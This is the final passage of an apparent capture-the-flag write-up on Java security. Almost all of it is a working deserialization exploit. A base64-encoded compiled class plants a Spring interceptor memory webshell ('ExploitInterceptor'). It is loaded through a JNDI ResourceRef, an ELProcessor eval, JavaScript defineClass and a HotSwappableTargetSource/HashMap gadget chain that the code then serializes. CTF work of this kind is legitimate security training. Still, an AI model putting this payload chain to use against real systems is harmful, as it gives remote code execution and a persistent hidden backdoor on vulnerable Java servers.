SSUtVN1lBQzdZQUREb0V1d0FOV1JrRXR3QU9FZysyQUJDMkFCRTZCYnNBRWxtM0FCTVNGTFlBRmJnQUZoa0Z0Z0FYdGdBWXRnQVZFaG0yQUJXMkFCbzZCaXdTR3hJY3VRQWRBd0FzdVFBZUFRQVpCcllBSHl5NUFCNEJBTFlBSUN5NUFCNEJBTFlBSVFPc0JLd0FBQUFEQUVBQUFBQXFBQW9BQUFBbEFBNEFKZ0FzQUNjQVB3QXBBR01BS2dCdEFDc0FlQUFzQUlFQUxRQ0tBQzRBakFBd0FFRUFBQUJJQUFjQUxBQmdBRlFBVlFBRUFEOEFUUUJXQUZjQUJRQmpBQ2tBV0FCWEFBWUFBQUNPQUVJQVF3QUFBQUFBamdCRUFFVUFBUUFBQUk0QVJnQkhBQUlBQUFDT0FFZ0FTUUFEQUZrQUFBQUZBQUg3QUl3QVRBQUFBQVFBQVFBNEFFMEFBQUFOQXdCRUFBQUFSZ0FBQUVnQUFBQUJBRm9BV3dBQkFEOEFBQUdEQUFNQUJnQUFBSUFxdHdBaXVBQWpFaVFEdVFBbEF3REFBQ1pNS3hJbnVRQW9BZ0RBQUNsTkVpa1NLcllBSzA0dEJMWUFMQzBzdGdBdHdBQXVPZ1FETmdVVkJSa0V0Z0F2b2dBZkdRUVZCYllBTU1FQU1aa0FETElBTWhJenRnQTBzWVFGQWFmLzNic0FNVmtTTmJjQU5qb0ZHUVFaQmJZQU4xZW5BQTFNdXdBNVdTdTNBRHEvc1FBQ0FBUUFXQUIxQURnQVdRQnlBSFVBT0FBRUFFQUFBQUJHQUJFQUFBQTBBQVFBTmdBVEFEY0FId0E0QUNjQU9RQXNBRG9BTmdBOEFFTUFQUUJRQUQ0QVdBQS9BRmtBUEFCZkFFSUFhZ0JEQUhJQVJ3QjFBRVVBZGdCR0FIOEFTUUJCQUFBQVVnQUlBRGtBSmdCY0FGMEFCUUFUQUY4QVhnQmZBQUVBSHdCVEFHQUFZUUFDQUNjQVN3QmlBR01BQXdBMkFEd0FaQUJsQUFRQWFnQUlBR1lBUXdBRkFIWUFDUUJuQUZFQUFRQUFBSUFBUWdCREFBQUFhQUFBQUF3QUFRQTJBRHdBWkFCcEFBUUFXUUFBQUNzQUJmOEFPUUFHQndCcUJ3QnJCd0JzQndCdEJ3QnVBUUFBSC9vQUJmOEFGUUFCQndCcUFBRUhBRzhKQUFJQVdnQndBQUlBUHdBQUFEa0FBUUFDQUFBQUJTcTNBQ0t4QUFBQUFnQkFBQUFBQmdBQkFBQUFTZ0JCQUFBQUZnQUNBQUFBQlFCQ0FFTUFBQUFBQUFVQWNRQlhBQUVBVFFBQUFBVUJBSEVBQUFBQkFISUFjd0FEQUQ4QUFBQS9BQUFBQXdBQUFBR3hBQUFBQWdCQUFBQUFCZ0FCQUFBQVR3QkJBQUFBSUFBREFBQUFBUUJDQUVNQUFBQUFBQUVBZEFCMUFBRUFBQUFCQUhZQWR3QUNBRXdBQUFBRUFBRUFlQUJOQUFBQUNRSUFkQUFBQUhZQUFBQUJBSElBZVFBREFEOEFBQUJKQUFBQUJBQUFBQUd4QUFBQUFnQkFBQUFBQmdBQkFBQUFWQUJCQUFBQUtnQUVBQUFBQVFCQ0FFTUFBQUFBQUFFQWRBQjFBQUVBQUFBQkFIb0Fld0FDQUFBQUFRQklBSHdBQXdCTUFBQUFCQUFCQUhnQVRRQUFBQTBEQUhRQUFBQjZBQUFBU0FBQUFBSUFmUUFBQUFJQWZnRGRBQUFBQ2dBQkFKb0Fsd0RjQUFsd2RBQUJNWEIzQVFCNGVBPT0BAB17ImNvZGUiOiIyMDAiLCJtZXNzYWdlIjoiJXMifQEAEGphdmEvbGFuZy9PYmplY3QMAKwArQEAEWphdmEvdXRpbC9TY2FubmVyDABSAGcBAAJcQQwArgCvDACwAKkBAAxDb250ZW50LVR5cGUBAB5hcHBsaWNhdGlvbi9qc29uO2NoYXJzZXQ9VVRGLTgHALEMALIAswwAtAC1BwC2DAC3AGcMALgAUwwAuQBTDABSAFMHALoMALsAvAEAOW9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLnNlcnZsZXQuRGlzcGF0Y2hlclNlcnZsZXQuQ09OVEVYVAcAvQwAvgC/AQAub3JnL3NwcmluZ2ZyYW1ld29yay9jb250ZXh0L0FwcGxpY2F0aW9uQ29udGV4dAwAwADBAQA+b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9oYW5kbGVyL0Fic3RyYWN0SGFuZGxlck1hcHBpbmcHAMIMAMMAxAcApgwAxQDGDADHAMgBABNqYXZhL3V0aWwvQXJyYXlMaXN0DADJAMoMAMcAywEAEkV4cGxvaXRJbnRlcmNlcHRvcgcAzAwAzQDOAQAeVGVtcEludGVyY2VwdG9yIGhhcyBiZWVuIGFkZGVkBwDPDADQAGcBAAZibGFibGEMANEAqwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAUgDSAQAyb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9IYW5kbGVySW50ZXJjZXB0b3IBABBqYXZhL2xhbmcvU3RyaW5nAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQANZ2V0UmVxdWVzdFVSSQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQAGZm9ybWF0AQA5KExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9TdHJpbmc7AQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAJYWRkSGVhZGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylWAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFd3JpdGUBAAVmbHVzaAEABWNsb3NlAQA8b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RDb250ZXh0SG9sZGVyAQAYY3VycmVudFJlcXVlc3RBdHRyaWJ1dGVzAQA9KClMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzOwEAOW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlcwEADGdldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZzt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"; String evalCode = "var str = '" + b64payload +"';var Thread = Java.type('java.lang.Thread');var tt=Thread.currentThread().getContextClassLoader();var b64 = Java.type('sun.misc.BASE64Decoder');var b=new b64().decodeBuffer(str);var byteArray = Java.type('byte[]');var int = Java.type('int');var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod('defineClass',byteArray.class,int.class,int.class);defineClassMethod.setAccessible(true);var cc = defineClassMethod.invoke(tt,b,0,b.length);cc.newInstance();"; ResourceRef ref = new ResourceRef( "javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory", null); ref.add(new StringRefAddr("forceString", "x=eval")); ref.add(new StringRefAddr("x", "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"" + evalCode + "\")}")); cpe.setResolvedObj(ref); Reflections.setFieldValue(cpe, "suppressedExceptions", null); DirContext ctx = (DirContext) constructor.newInstance(cpe, new Hashtable<>()); JSONObject jsonObject = new JSONObject(); jsonObject.put("xxxx", ctx); Result result1 = new Result("cccc1", "cccc1"); Result result2 = new Result("cccc2", "cccc2"); Reflections.setFieldValue(result1, "message", jsonObject); HotSwappableTargetSource v1 = new HotSwappableTargetSource(result1); HotSwappableTargetSource v2 = new HotSwappableTargetSource(result2); HashMap hm = makeMap(v1, v2); byte[] s = serialize(hm); } public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception { HashMap<Object, Object> s = new HashMap<>(); setValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); setValue(s, "table", tbl); return s; } public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } } ``` Flag: ![](https://hackmd.io/_uploads/HyG-oLB43.png) *P/S: Chả i di da va tẹo nào 🥴* ###### tags: `ctf`, `java-sec`